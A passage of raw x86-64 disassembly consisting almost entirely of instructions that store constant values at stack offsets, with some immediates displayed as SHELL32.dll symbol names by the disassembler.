mov word [rsp + 0xea0], ax
mov byte [rsp + 0xff], 0x6b
mov dword [rsp + 0x4bc0], 0xfe5
mov eax, 0x2b7
mov word [rsp + 0xea4], ax
mov eax, 0x22b
mov word [rsp + 0xea8], ax
mov byte [rsp + 0x100], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x101], 0x6b
mov dword [rsp + 0x4bc4], 0x3c7a
mov dword [rsp + 0x4bc8], 0x3f97
movabs rax, 0x77fe665ac2eb44
mov qword [rsp + 0x9460], rax
mov byte [rsp + 0x102], 0xc6
mov dword [rsp + 0x4bcc], 0x90bf
mov eax, 0x75e
mov word [rsp + 0xeac], ax
mov dword [rsp + 0x4bd0], 0xe065
mov byte [rsp + 0x103], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x907
mov word [rsp + 0xeb0], ax
mov dword [rsp + 0x4bd4], 0x1b1a
movabs rax, 0x79338d40c2c925
mov qword [rsp + 0x9468], rax
mov dword [rsp + 0x4bd8], 0x7acb
mov eax, 0x43a
mov word [rsp + 0xeb4], ax
mov eax, 0x4d8
mov word [rsp + 0xeb8], ax
mov dword [rsp + 0x4bdc], 0x4983
mov dword [rsp + 0x4be0], 0x6302
mov eax, 0xdee
mov word [rsp + 0xebc], ax
mov byte [rsp + 0x104], 0xc0
mov eax, 0x526
mov word [rsp + 0xec0], ax
movabs rax, 0x7910dd99e90a09
mov qword [rsp + 0x9470], rax
movabs rax, 0x7169caee40f43c
mov qword [rsp + 0x9478], rax
mov byte [rsp + 0x105], 0
mov byte [rsp + 0x106], 3
movabs rax, 0x76b98eb7bf9592
mov qword [rsp + 0x9480], rax
mov eax, 0xfd8
mov word [rsp + 0xec4], ax
mov byte [rsp + 0x107], 0xa8
mov byte [rsp + 0x108], 0x6c
mov eax, 0x542
mov word [rsp + 0xec8], ax
mov eax, 0x1fe
mov word [rsp + 0xecc], ax
mov eax, 0x709
mov word [rsp + 0xed0], ax
movabs rax, 0x744c9b60807b6b
mov qword [rsp + 0x9488], rax
movabs rax, 0x7a1ffc06642d0c
mov qword [rsp + 0x9490], rax
mov byte [rsp + 0x109], 0x27
movabs rax, 0x756ea8d64c868e
mov qword [rsp + 0x9498], rax
movabs rax, 0x79598dc976b38d
mov qword [rsp + 0x94a0], rax
mov eax, 0x703
mov word [rsp + 0xed4], ax
movabs rax, 0x75ea054da12b5a
mov qword [rsp + 0x94a8], rax
mov eax, 0x729
mov word [rsp + 0xed8], ax
mov dword [rsp + 0x4be4], 0x78b2
mov byte [rsp + 0x10a], 0xdf
mov eax, 0x701
mov word [rsp + 0xedc], ax
movabs rax, 0x737c955b434443
mov qword [rsp + 0x94b0], rax
mov eax, 0xf8c
mov word [rsp + 0xee0], ax
movabs rax, 0x75b5ef723823aa
mov qword [rsp + 0x94b8], rax
mov eax, 0x5c9
mov word [rsp + 0xee4], ax
mov eax, 0xa85
mov word [rsp + 0xee8], ax
movabs rax, 0x767ce17521c058
mov qword [rsp + 0x94c0], rax
mov eax, 0x2c2
mov word [rsp + 0xeec], ax
mov byte [rsp + 0x10b], 0x6a
mov byte [rsp + 0x10c], 0x6d
mov byte [rsp + 0x10d], 9
mov dword [rsp + 0x4be8], 0xec9
movabs rax, 0x76ee8edcb9f17b
mov qword [rsp + 0x94c8], rax
mov eax, 0x486
mov word [rsp + 0xef0], ax
mov byte [rsp + 0x10e], 0x5a
movabs rax, 0x7d6c6c82932b09
mov qword [rsp + 0x94d0], rax
mov byte [rsp + 0x10f], reloc.SHELL32.dll_ILSaveToStream
mov byte [rsp + 0x110], 0x3d
movabs rax, 0x7b95467546d3c6
mov qword [rsp + 0x94d8], rax
movabs rax, 0x774c6e04411742
mov qword [rsp + 0x94e0], rax
mov dword [rsp + 0x4bec], 0x8881
mov byte [rsp + 0x111], 0x60
mov byte [rsp + 0x112], 0xdf
mov eax, 0x1e5
mov word [rsp + 0xef4], ax
mov eax, 0x55c
mov word [rsp + 0xef8], ax
movabs rax, 0x7d57ca24e02c73
mov qword [rsp + 0x94e8], rax
movabs rax, 0x7cfd7ed3e9e8f2
mov qword [rsp + 0x94f0], rax
mov eax, 0xd86
mov word [rsp + 0xefc], ax
mov byte [rsp + 0x113], 0x36
movabs rax, 0x7a4223805a2dd0
mov qword [rsp + 0x94f8], rax
mov dword [rsp + 0x4bf0], 0x6946
mov byte [rsp + 0x114], ILRemoveLastID
movabs rax, 0x71aac5766ad9d4
mov qword [rsp + 0x9500], rax
movabs rax, 0x79a06188aed8b8
mov qword [rsp + 0x9508], rax
movabs rax, 0x757e096cf3f22e
mov qword [rsp + 0x9510], rax
movabs rax, 0x7b12303b56c8f1
mov qword [rsp + 0x9518], rax
mov dword [rsp + 0x4bf4], 0x80be
mov dword [rsp + 0x4bf8], 0xc679
mov dword [rsp + 0x4bfc], 0x3082
mov dword [rsp + 0x4c00], 0x7875
movabs rax, 0x79bdbd27b5f372
mov qword [rsp + 0x9520], rax
mov dword [rsp + 0x4c04], 0xeb3
mov eax, 0x73f
mov word [rsp + 0xf00], ax
mov eax, 0x4a4
mov word [rsp + 0xf04], ax
movabs rax, 0x72bdae09411a0d
mov qword [rsp + 0x9528], rax
movabs rax, 0x7ee4e8cab50c9a
mov qword [rsp + 0x9530], rax
mov dword [rsp + 0x4c08], 0x4ece
mov byte [rsp + 0x115], 0xa8
movabs rax, 0x7cb364c77d80cd
mov qword [rsp + 0x9538], rax
mov byte [rsp + 0x116], ILRemoveLastID
movabs rax, 0x79f8848cd92083
mov qword [rsp + 0x9540], rax
mov eax, 0x5e7
mov word [rsp + 0xf08], ax
mov byte [rsp + 0x117], 0x62
mov dword [rsp + 0x4c0c], 0x4da0
mov byte [rsp + 0x118], 0xce
mov byte [rsp + 0x119], 0x75
mov eax, 0x78d
mov word [rsp + 0xf0c], ax
movabs rax, 0x7c34e723c37b49
mov qword [rsp + 0x9548], rax
mov eax, 0x20e
mov word [rsp + 0xf10], ax
movabs rax, 0x7c9b8d090c87d7
mov qword [rsp + 0x9550], rax
mov eax, 0xa65
mov word [rsp + 0xf14], ax
mov dword [rsp + 0x4c10], 0x1a22
movabs rax, 0x7698c833eb615b
mov qword [rsp + 0x9558], rax
mov eax, reloc.SHELL32.dll_ILSaveToStream
mov word [rsp + 0xf18], ax
movabs rax, 0x7a248567399d1b
mov qword [rsp + 0x9560], rax
movabs rax, 0x778745e85a5507
mov qword [rsp + 0x9568], rax
movabs rax, 0x76e07129b6a701
mov qword [rsp + 0x9570], rax
mov byte [rsp + 0x11a], 0x83
mov eax, 0x2fc
mov word [rsp + 0xf1c], ax
movabs rax, 0x74cdf34c0f361d
mov qword [rsp + 0x9578], rax
mov byte [rsp + 0x11b], 0xdb
movabs rax, 0x79a431ea76fce3
mov qword [rsp + 0x9580], rax
mov byte [rsp + 0x11c], 0x30
movabs rax, 0x731050ad267627
mov qword [rsp + 0x9588], rax
mov dword [rsp + 0x4c14], 0xae9a
movabs rax, 0x7d5749f46e51eb
mov qword [rsp + 0x9590], rax
movabs rax, 0x71f6fa7634f0c7
mov qword [rsp + 0x9598], rax
mov byte [rsp + 0x11d], 0xa5
mov byte [rsp + 0x11e], 0x67
mov eax, 0xbce
mov word [rsp + 0xf20], ax
movabs rax, 0x7040bb8da9d93e
mov qword [rsp + 0x95a0], rax
mov dword [rsp + 0x4c18], 0x9788
mov dword [rsp + 0x4c1c], 0x5f8c
mov eax, 0xe9
mov word [rsp + 0xf24], ax
movabs rax, 0x717bff566e9fbe
mov qword [rsp + 0x95a8], rax
movabs rax, 0x76cec2316ba1a9
mov qword [rsp + 0x95b0], rax
movabs rax, 0x7224f7cebc732e
mov qword [rsp + 0x95b8], rax
movabs rax, 0x7c0876c0d45e2a
mov qword [rsp + 0x95c0], rax
mov eax, 0xcef
mov word [rsp + 0xf28], ax
movabs rax, 0x71cd3575146e37
mov qword [rsp + 0x95c8], rax
mov byte [rsp + 0x11f], 0x27
movabs rax, 0x70fe0da9656434
mov qword [rsp + 0x95d0], rax
mov dword [rsp + 0x4c20], 0x3de
mov byte [rsp + 0x120], 0x30
movabs rax, 0x7ac29aab8c2bad
mov qword [rsp + 0x95d8], rax
mov eax, 0x39
mov word [rsp + 0xf2c], ax
mov byte [rsp + 0x121], 0x80
mov eax, 0x833
mov word [rsp + 0xf30], ax
mov dword [rsp + 0x4c24], 0x746b
mov dword [rsp + 0x4c28], 0x4a59
mov eax, 0x538
mov word [rsp + 0xf34], ax
mov dword [rsp + 0x4c2c], 0xb2b4
movabs rax, 0x712481edc1be28
mov qword [rsp + 0x95e0], rax
mov dword [rsp + 0x4c30], 0x5388
mov byte [rsp + 0x122], 0x4f
mov dword [rsp + 0x4c34], 0xaa27
mov eax, 0xa7
mov word [rsp + 0xf38], ax
mov eax, 0x735
mov word [rsp + 0xf3c], ax
movabs rax, 0x755f63ec578fa6
mov qword [rsp + 0x95e8], rax
mov eax, 8
mov word [rsp + 0xf40], ax
mov dword [rsp + 0x4c38], 0x3647
movabs rax, 0x7d289093a5ee46
mov qword [rsp + 0x95f0], rax
mov byte [rsp + 0x123], 0x9d
movabs rax, 0x789038b6a3b61c
mov qword [rsp + 0x95f8], rax
movabs rax, 0x79095f1a16ecb4
mov qword [rsp + 0x9600], rax
movabs rax, 0x7eb1188c0e998a
mov qword [rsp + 0x9608], rax
movabs rax, 0x7d205f15b0ed0f
mov qword [rsp + 0x9610], rax
mov eax, 0x3a6
mov word [rsp + 0xf44], ax
movabs rax, 0x7104ee4fe50f8b
mov qword [rsp + 0x9618], rax
movabs rax, 0x7853972d4b8827
mov qword [rsp + 0x9620], rax
movabs rax, 0x731bc271a82030
mov qword [rsp + 0x9628], rax
mov eax, 0xc46
mov word [rsp + 0xf48], ax
mov byte [rsp + 0x124], 0x68
movabs rax, 0x723a02d62beda5
mov qword [rsp + 0x9630], rax
mov dword [rsp + 0x4c3c], 0x1d92
mov eax, 0x1c3
mov word [rsp + 0xf4c], ax
movabs rax, 0x7963297ec1537e
mov qword [rsp + 0x9638], rax
mov byte [rsp + 0x125], 9
mov eax, 0x61f
mov word [rsp + 0xf50], ax
mov dword [rsp + 0x4c40], 0x79c6
mov dword [rsp + 0x4c44], 0x986c
mov byte [rsp + 0x126], 0x4a
mov eax, 0x771
mov word [rsp + 0xf54], ax
movabs rax, 0x7ddfec38f9fdd1
mov qword [rsp + 0x9640], rax
movabs rax, 0x7770833aa6b13a
mov qword [rsp + 0x9648], rax
mov dword [rsp + 0x4c48], 0x3a8f
movabs rax, 0x799ca49f46f5f6
mov qword [rsp + 0x9650], rax
movabs rax, 0x719e48bab8a128
mov qword [rsp + 0x9658], rax
mov eax, 0x63
mov word [rsp + 0xf58], ax
movabs rax, 0x7a41da8b7a9142
mov qword [rsp + 0x9660], rax
movabs rax, 0x730db38e60ae53
mov qword [rsp + 0x9668], rax
mov byte [rsp + 0x127], reloc.SHELL32.dll_ILRemoveLastID
movabs rax, 0x733bd881196fb1
mov qword [rsp + 0x9670], rax
movabs rax, 0x705e818058b298
mov qword [rsp + 0x9678], rax
mov byte [rsp + 0x128], 0xdb
mov dword [rsp + 0x4c4c], 0x6d0b
mov dword [rsp + 0x4c50], 0x29c2
mov byte [rsp + 0x129], reloc.SHELL32.dll_ILSaveToStream
mov eax, 0x2f9
mov word [rsp + 0xf5c], ax
mov dword [rsp + 0x4c54], 0xf5a9
mov eax, 0x140
mov word [rsp + 0xf60], ax
mov eax, 0xe9c
mov word [rsp + 0xf64], ax
movabs rax, 0x7200499dcbd0fb
mov qword [rsp + 0x9680], rax
mov dword [rsp + 0x4c58], 0x80c
movabs rax, 0x7cc7038e93c200
mov qword [rsp + 0x9688], rax
movabs rax, 0x7be7a91b9d6a8c
mov qword [rsp + 0x9690], rax
movabs rax, 0x77eb18841cca73
mov qword [rsp + 0x9698], rax
movabs rax, 0x7842695c931dec
mov qword [rsp + 0x96a0], rax
movabs rax, 0x7ca93ca9d5fc68
mov qword [rsp + 0x96a8], rax
mov dword [rsp + 0x4c5c], 0x3ef0
mov dword [rsp + 0x4c60], 0x4010
mov dword [rsp + 0x4c64], 0xad54
movabs rax, 0x75256ef8d3cac6
mov qword [rsp + 0x96b0], rax
movabs rax, 0x718ae129350dd6
mov qword [rsp + 0x96b8], rax
movabs rax, 0x764a3955726e03
mov qword [rsp + 0x96c0], rax
mov eax, 0x534
mov word [rsp + 0xf68], ax
movabs rax, 0x7a2f5ffd6679e8
mov qword [rsp + 0x96c8], rax
mov dword [rsp + 0x4c68], 0x69d3
movabs rax, 0x71f0ceb69d7b1a
mov qword [rsp + 0x96d0], rax
movabs rax, 0x7d95b19915feb6
mov qword [rsp + 0x96d8], rax
movabs rax, 0x76f46657aadcc7
mov qword [rsp + 0x96e0], rax
mov eax, 0xbcc
mov word [rsp + 0xf6c], ax
mov byte [rsp + 0x12a], 0x62
movabs rax, 0x7c84a2c4d48895
mov qword [rsp + 0x96e8], rax
movabs rax, 0x77c40fce0b3388
mov qword [rsp + 0x96f0], rax
movabs rax, 0x7df12717722082
mov qword [rsp + 0x96f8], rax
movabs rax, 0x7c762055cef8de
mov qword [rsp + 0x9700], rax
movabs rax, 0x7908a785419a64
mov qword [rsp + 0x9708], rax
mov byte [rsp + 0x12b], reloc.SHELL32.dll_ILRemoveLastID
mov eax, 0xe8
mov word [rsp + 0xf70], ax
mov dword [rsp + 0x4c6c], 0xc5bc
movabs rax, 0x781682e80b76a4
mov qword [rsp + 0x9710], rax
mov eax, 0x30d
mov word [rsp + 0xf74], ax
movabs rax, 0x7052ddb2640818
mov qword [rsp + 0x9718], rax
mov dword [rsp + 0x4c70], 0xd47a
mov eax, 0x30
mov word [rsp + 0xf78], ax
movabs rax, 0x79c77140f0f060
mov qword [rsp + 0x9720], rax
movabs rax, 0x71bff7ff43db24
mov qword [rsp + 0x9728], rax
mov eax, 0x3bd
mov word [rsp + 0xf7c], ax
movabs rax, 0x7e131d14293177
mov qword [rsp + 0x9730], rax
mov eax, 0x655
mov word [rsp + 0xf80], ax
mov eax, 0xde7
mov word [rsp + 0xf84], ax
mov eax, 0x768
mov word [rsp + 0xf88], ax
movabs rax, 0x7775f1ba94161b
mov qword [rsp + 0x9738], rax
mov eax, 0xf37
mov word [rsp + 0xf8c], ax
mov byte [rsp + 0x12c], 0x37
mov dword [rsp + 0x4c74], 0x2287
movabs rax, 0x7ee13f2f15fb82
mov qword [rsp + 0x9740], rax
mov dword [rsp + 0x4c78], 0xba3d
movabs rax, 0x75108bd810e67b
mov qword [rsp + 0x9748], rax
mov eax, 0x3dd
mov word [rsp + 0xf90], ax
movabs rax, 0x71c5f006577c16
mov qword [rsp + 0x9750], rax
mov byte [rsp + 0x12d], PathMakeUniqueName
movabs rax, 0x7e8ce2091dbee0
mov qword [rsp + 0x9758], rax
mov byte [rsp + 0x12e], 0xe8
mov byte [rsp + 0x12f], 0xe0
movabs rax, 0x789148f7438454
mov qword [rsp + 0x9760], rax
mov eax, 0x732
mov word [rsp + 0xf94], ax
mov byte [rsp + 0x130], 0xca
mov eax, 0x61
mov word [rsp + 0xf98], ax
mov byte [rsp + 0x131], 0x64
mov eax, 0x16d
mov word [rsp + 0xf9c], ax
movabs rax, 0x799e4cb2692f3c
mov qword [rsp + 0x9768], rax
mov eax, 0x95b
mov word [rsp + 0xfa0], ax
mov eax, 0x5ba
mov word [rsp + 0xfa4], ax
mov dword [rsp + 0x4c7c], 0x8ed
mov eax, 0xe6e
mov word [rsp + 0xfa8], ax
mov dword [rsp + 0x4c80], 0x7cdd
mov dword [rsp + 0x4c84], 0x7f37
movabs rax, 0x78a92cb1ea7307
mov qword [rsp + 0x9770], rax
mov eax, 0x5de
mov word [rsp + 0xfac], ax
mov dword [rsp + 0x4c88], 0x72ca
mov eax, 0xcbb
mov word [rsp + 0xfb0], ax
mov byte [rsp + 0x132], ILRemoveLastID
mov dword [rsp + 0x4c8c], 0x6e05
movabs rax, 0x74d7634de07ead
mov qword [rsp + 0x9778], rax
movabs rax, 0x7c27c56a621eb4
mov qword [rsp + 0x9780], rax
mov dword [rsp + 0x4c90], 0x711f
mov dword [rsp + 0x4c94], 0x340c
movabs rax, 0x762998e6ffcb44
mov qword [rsp + 0x9788], rax
mov dword [rsp + 0x4c98], 0xd5f
mov eax, 0x1f0
mov word [rsp + 0xfb4], ax
mov dword [rsp + 0x4c9c], 0x8111
movabs rax, 0x7aadda0a561f7c
mov qword [rsp + 0x9790], rax
mov byte [rsp + 0x133], 0x92
movabs rax, 0x7e84b3d4a1dd12
mov qword [rsp + 0x9798], rax
mov dword [rsp + 0x4ca0], 0xbba9
mov dword [rsp + 0x4ca4], 0x21dd
mov byte [rsp + 0x134], 0x40
movabs rax, 0x7d9602d9a64e6f
mov qword [rsp + 0x97a0], rax
movabs rax, 0x7551ed6c35731f
mov qword [rsp + 0x97a8], rax
mov eax, 0x24e
mov word [rsp + 0xfb8], ax
mov eax, 0x699
mov word [rsp + 0xfbc], ax
movabs rax, 0x76d91624c387a3
mov qword [rsp + 0x97b0], rax
mov dword [rsp + 0x4ca8], 0x73f9
mov dword [rsp + 0x4cac], 0x61
mov eax, 0x3fb
mov word [rsp + 0xfc0], ax
mov eax, 0x91a
mov word [rsp + 0xfc4], ax
mov dword [rsp + 0x4cb0], 0x5aad
movabs rax, 0x7539d9b458e3c3
mov qword [rsp + 0x97b8], rax
mov dword [rsp + 0x4cb4], 0x339a
movabs rax, 0x75781cc459efe7
mov qword [rsp + 0x97c0], rax
mov byte [rsp + 0x135], 0xe5
mov eax, 0x287
mov word [rsp + 0xfc8], ax
mov byte [rsp + 0x136], 0x36
movabs rax, 0x7b7305263d30e3
mov qword [rsp + 0x97c8], rax
mov eax, 0x678
mov word [rsp + 0xfcc], ax
mov dword [rsp + 0x4cb8], 0x9e8c
mov eax, 0x578
mov word [rsp + 0xfd0], ax
movabs rax, 0x7ed368e041639c
mov qword [rsp + 0x97d0], rax
mov eax, 0x9b9
mov word [rsp + 0xfd4], ax
mov eax, 0x61f
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0x137], 0x88
movabs rax, 0x7ad230c73706c3
mov qword [rsp + 0x97d8], rax
movabs rax, 0x70b8be64a17603
mov qword [rsp + 0x97e0], rax
mov eax, 0x3ac
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x4cbc], 0x5380
mov dword [rsp + 0x4cc0], 0x910a
movabs rax, 0x77839de767868a
mov qword [rsp + 0x97e8], rax
mov dword [rsp + 0x4cc4], 0x3fd3
mov byte [rsp + 0x138], 0x63
mov dword [rsp + 0x4cc8], 0x7986
mov dword [rsp + 0x4ccc], 0x5381
mov dword [rsp + 0x4cd0], 0x66e2
mov eax, 0xb8e
mov word [rsp + 0xfe0], ax
mov byte [rsp + 0x139], ILRemoveLastID
movabs rax, 0x7d7ae95ac140eb
mov qword [rsp + 0x97f0], rax
mov eax, 0x72a
mov word [rsp + 0xfe4], ax
mov byte [rsp + 0x13a], 0x34
mov dword [rsp + 0x4cd4], 0x2b66
mov byte [rsp + 0x13b], 0xd2
movabs rax, 0x76c0ea89c46648
mov qword [rsp + 0x97f8], rax
mov eax, 0x2bd
mov word [rsp + 0xfe8], ax
mov eax, 0x5df
mov word [rsp + 0xfec], ax
mov byte [rsp + 0x13c], reloc.SHELL32.dll_ILIsParent
movabs rax, 0x7dff0aceab22f3
mov qword [rsp + 0x9800], rax
mov dword [rsp + 0x4cd8], 0x5854
movabs rax, 0x7906b95a41aa23
mov qword [rsp + 0x9808], rax
movabs rax, 0x7155c95e986eb6
mov qword [rsp + 0x9810], rax
mov dword [rsp + 0x4cdc], 0x182a
movabs rax, 0x70b8552f500199
mov qword [rsp + 0x9818], rax
mov byte [rsp + 0x13d], PathMakeUniqueName
movabs rax, 0x7dd2c854194f51
mov qword [rsp + 0x9820], rax
mov byte [rsp + 0x13e], 0x26
movabs rax, 0x759c104825feae
mov qword [rsp + 0x9828], rax
mov eax, 0xb1b
mov word [rsp + 0xff0], ax
mov byte [rsp + 0x13f], 0x4b
mov eax, 0x733
mov word [rsp + 0xff4], ax
movabs rax, 0x7e8ef8dab25742
mov qword [rsp + 0x9830], rax
mov eax, 0x263
mov word [rsp + 0xff8], ax
mov byte [rsp + 0x140], 0x3c
mov dword [rsp + 0x4ce0], 0x1c9a
movabs rax, 0x76ba3aeeb7e2ae
mov qword [rsp + 0x9838], rax
movabs rax, 0x70288ae6d03839
mov qword [rsp + 0x9840], rax
movabs rax, 0x75f8e7b6da166b
mov qword [rsp + 0x9848], rax
movabs rax, 0x71a98d9ab5770b
mov qword [rsp + 0x9850], rax
mov eax, 0x468
mov word [rsp + 0xffc], ax
mov eax, 0x7af
mov word [rsp + 0x1000], ax
mov byte [rsp + 0x141], SHDoDragDrop
movabs rax, 0x7b0b89bd7cfff5
mov qword [rsp + 0x9858], rax
mov dword [rsp + 0x4ce4], 0x811e
mov dword [rsp + 0x4ce8], 0x72d5
mov eax, 0x492
mov word [rsp + 0x1004], ax
mov eax, 0xe0f
mov word [rsp + 0x1008], ax
mov eax, 0x21b
mov word [rsp + 0x100c], ax
movabs rax, 0x7b23a4d8828b82
mov qword [rsp + 0x9860], rax
mov eax, 0x177
mov word [rsp + 0x1010], ax
movabs rax, 0x726f66088289c9
mov qword [rsp + 0x9868], rax
mov byte [rsp + 0x142], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x4cec], 0xe05
movabs rax, 0x7242249d27589f
mov qword [rsp + 0x9870], rax
mov eax, 0x34a
mov word [rsp + 0x1014], ax
movabs rax, 0x787a50ee8db0f9
mov qword [rsp + 0x9878], rax
movabs rax, 0x793d6bc9f048f2
mov qword [rsp + 0x9880], rax
mov eax, 0x134
mov word [rsp + 0x1018], ax
movabs rax, 0x72206c7188c3a8
mov qword [rsp + 0x9888], rax
mov dword [rsp + 0x4cf0], 0x2e17
movabs rax, 0x78794c3550e27d
mov qword [rsp + 0x9890], rax
mov dword [rsp + 0x4cf4], 0x7684
mov eax, 0x236
mov word [rsp + 0x101c], ax
movabs rax, 0x7cd4274281a06a
mov qword [rsp + 0x9898], rax
mov byte [rsp + 0x143], 0x6e
mov eax, 0x902
mov word [rsp + 0x1020], ax
mov byte [rsp + 0x144], 0x5b
mov dword [rsp + 0x4cf8], 0xf1c
mov byte [rsp + 0x145], 0x8f
mov byte [rsp + 0x146], 0x72
mov eax, 0x523
mov word [rsp + 0x1024], ax
mov byte [rsp + 0x147], 0xdf
movabs rax, 0x7b0216b27f4e2d
mov qword [rsp + 0x98a0], rax
mov eax, 0x246
mov word [rsp + 0x1028], ax
mov eax, 0x54c
mov word [rsp + 0x102c], ax
mov byte [rsp + 0x148], SHGetNewLinkInfoW
mov eax, 0x1ce
mov word [rsp + 0x1030], ax
movabs rax, 0x77121ea192ddaf
mov qword [rsp + 0x98a8], rax
mov dword [rsp + 0x4cfc], 0x7949
mov byte [rsp + 0x149], 0x6d
mov eax, 0x56a
mov word [rsp + 0x1034], ax
mov dword [rsp + 0x4d00], 0xb8eb
mov eax, 0x2ec
mov word [rsp + 0x1038], ax
mov byte [rsp + 0x14a], 0xda
movabs rax, 0x76721b6027837a
mov qword [rsp + 0x98b0], rax
movabs rax, 0x7d20fbb2840eb8
mov qword [rsp + 0x98b8], rax
movabs rax, 0x7c62cd7739fa87
mov qword [rsp + 0x98c0], rax
mov byte [rsp + 0x14b], 0x7e
mov byte [rsp + 0x14c], ILRemoveLastID
mov byte [rsp + 0x14d], 0xc0
mov byte [rsp + 0x14e], SHDoDragDrop
mov eax, 0xe09
mov word [rsp + 0x103c], ax
movabs rax, 0x747505d4212866
mov qword [rsp + 0x98c8], rax
mov dword [rsp + 0x4d04], 0x3ce0
movabs rax, 0x72db00cf772a64
mov qword [rsp + 0x98d0], rax
mov dword [rsp + 0x4d08], 0x30a4
mov byte [rsp + 0x14f], 0x64
mov dword [rsp + 0x4d0c], 0x798b
mov dword [rsp + 0x4d10], 0x5be7
mov eax, 0xbc9
mov word [rsp + 0x1040], ax
mov eax, 0x356
mov word [rsp + 0x1044], ax
mov eax, 0xb21
mov word [rsp + 0x1048], ax
mov eax, 0x3a
mov word [rsp + 0x104c], ax
mov byte [rsp + 0x150], 0x26
movabs rax, 0x79cb8ac1dfc6a2
mov qword [rsp + 0x98d8], rax
movabs rax, 0x781f45e436304c
mov qword [rsp + 0x98e0], rax
mov dword [rsp + 0x4d14], 0x13a3
mov dword [rsp + 0x4d18], 0x7e48
mov eax, 0x339
mov word [rsp + 0x1050], ax
movabs rax, 0x7d49f5ea39132f
mov qword [rsp + 0x98e8], rax
mov dword [rsp + 0x4d1c], 0x332a
mov byte [rsp + 0x151], SHDoDragDrop
mov byte [rsp + 0x152], 0x3a
mov dword [rsp + 0x4d20], 0x361e
movabs rax, 0x770f0433679a2d
mov qword [rsp + 0x98f0], rax
movabs rax, 0x76a9e7818d59bc
mov qword [rsp + 0x98f8], rax
mov byte [rsp + 0x153], 0x35
mov eax, 0xaaa
mov word [rsp + 0x1054], ax
mov dword [rsp + 0x4d24], 0x7d3f
mov byte [rsp + 0x154], 0x1f
mov dword [rsp + 0x4d28], 0x193b
mov dword [rsp + 0x4d2c], 0x2000
movabs rax, 0x77dbc1ff82d6d6
mov qword [rsp + 0x9900], rax
mov eax, 0xbb6
mov word [rsp + 0x1058], ax
movabs rax, 0x7ebe17aad52314
mov qword [rsp + 0x9908], rax
mov byte [rsp + 0x155], 0x21
mov eax, 0x383
mov word [rsp + 0x105c], ax
mov byte [rsp + 0x156], 0x66
mov eax, 0x7c4
mov word [rsp + 0x1060], ax
mov byte [rsp + 0x157], ILIsParent
mov eax, 0x4a3
mov word [rsp + 0x1064], ax
mov byte [rsp + 0x158], SHDoDragDrop
movabs rax, 0x7bb5edf4b06da4
mov qword [rsp + 0x9910], rax
movabs rax, 0x7c1533308f9104
mov qword [rsp + 0x9918], rax
movabs rax, 0x76702798bceae8
mov qword [rsp + 0x9920], rax
mov dword [rsp + 0x4d30], 0x5e2c
mov byte [rsp + 0x159], reloc.SHELL32.dll_ILSaveToStream
movabs rax, 0x72802cc09a86bc
mov qword [rsp + 0x9928], rax
movabs rax, 0x725c5f01202708
mov qword [rsp + 0x9930], rax
movabs rax, 0x79c7c43091ecdc
mov qword [rsp + 0x9938], rax
mov dword [rsp + 0x4d34], 0xeb0
mov dword [rsp + 0x4d38], 0x4513
mov dword [rsp + 0x4d3c], 0x5da5
mov eax, 0x422
mov word [rsp + 0x1068], ax
mov eax, 0x16d
mov word [rsp + 0x106c], ax
mov eax, 0x8d4
mov word [rsp + 0x1070], ax
mov byte [rsp + 0x15a], 0x80
movabs rax, 0x7747439a0635c8
mov qword [rsp + 0x9940], rax
movabs rax, 0x76aefe866d2e88
mov qword [rsp + 0x9948], rax
movabs rax, 0x7133eec05ea27d
mov qword [rsp + 0x9950], rax
mov eax, 0x780
mov word [rsp + 0x1074], ax
mov eax, 0x4e5
mov word [rsp + 0x1078], ax
movabs rax, 0x7117df2eb600b2
mov qword [rsp + 0x9958], rax
mov dword [rsp + 0x4d40], 0x497b
mov dword [rsp + 0x4d44], 0x4507
mov dword [rsp + 0x4d48], 0x828
mov eax, 0x7e
mov word [rsp + 0x107c], ax
movabs rax, 0x78e48f32f5c403
mov qword [rsp + 0x9960], rax
mov byte [rsp + 0x15b], ILIsParent
mov dword [rsp + 0x4d4c], 0x5a20
mov eax, 0x982
mov word [rsp + 0x1080], ax
mov byte [rsp + 0x15c], 0x7e
mov dword [rsp + 0x4d50], 0x19a0
movabs rax, 0x7b001db4b5b91a
mov qword [rsp + 0x9968], rax
mov dword [rsp + 0x4d54], 0x427f
mov eax, 0x5cc
mov word [rsp + 0x1084], ax
mov byte [rsp + 0x15d], 0x34
movabs rax, 0x798bd900ac6fcf
mov qword [rsp + 0x9970], rax
mov byte [rsp + 0x15e], PathMakeUniqueName
mov eax, 0x10e
mov word [rsp + 0x1088], ax
movabs rax, 0x71df03b3799698
mov qword [rsp + 0x9978], rax
mov byte [rsp + 0x15f], 0x21
movabs rax, 0x7659d215a9a971
mov qword [rsp + 0x9980], rax
movabs rax, 0x76dbc1474afefe
mov qword [rsp + 0x9988], rax
mov eax, 0x7fd
mov word [rsp + 0x108c], ax
mov eax, 0xf12
mov word [rsp + 0x1090], ax
movabs rax, 0x7c99300e28d455
mov qword [rsp + 0x9990], rax
movabs rax, 0x7ef288348ca1ab
mov qword [rsp + 0x9998], rax
mov byte [rsp + 0x160], 4
mov dword [rsp + 0x4d58], 0x1e57
mov eax, 0x73a
mov word [rsp + 0x1094], ax
movabs rax, 0x7de170f7c84a0f
mov qword [rsp + 0x99a0], rax
movabs rax, 0x7dfb73ca8cca9f
mov qword [rsp + 0x99a8], rax
mov byte [rsp + 0x161], 0x6f
mov dword [rsp + 0x4d5c], 0x197c
mov byte [rsp + 0x162], 0x73
movabs rax, 0x74d5b530b19327
mov qword [rsp + 0x99b0], rax
mov dword [rsp + 0x4d60], 0x528f
mov eax, 0x708
mov word [rsp + 0x1098], ax
mov dword [rsp + 0x4d64], 0xdbe
mov byte [rsp + 0x163], 0x30
mov byte [rsp + 0x164], 0x6e
movabs rax, 0x7493514d498bbd
mov qword [rsp + 0x99b8], rax
mov byte [rsp + 0x165], 0x4a
mov byte [rsp + 0x166], 0x61
movabs rax, 0x75ad9fade9204a
mov qword [rsp + 0x99c0], rax
mov eax, 0x1f2
mov word [rsp + 0x109c], ax
mov eax, 0xc98
mov word [rsp + 0x10a0], ax
mov eax, 0x169
mov word [rsp + 0x10a4], ax
mov eax, 0x86b
mov word [rsp + 0x10a8], ax
mov dword [rsp + 0x4d68], 0xa5ff
movabs rax, 0x7b806e7361db3e
mov qword [rsp + 0x99c8], rax
movabs rax, 0x73f0714d795765
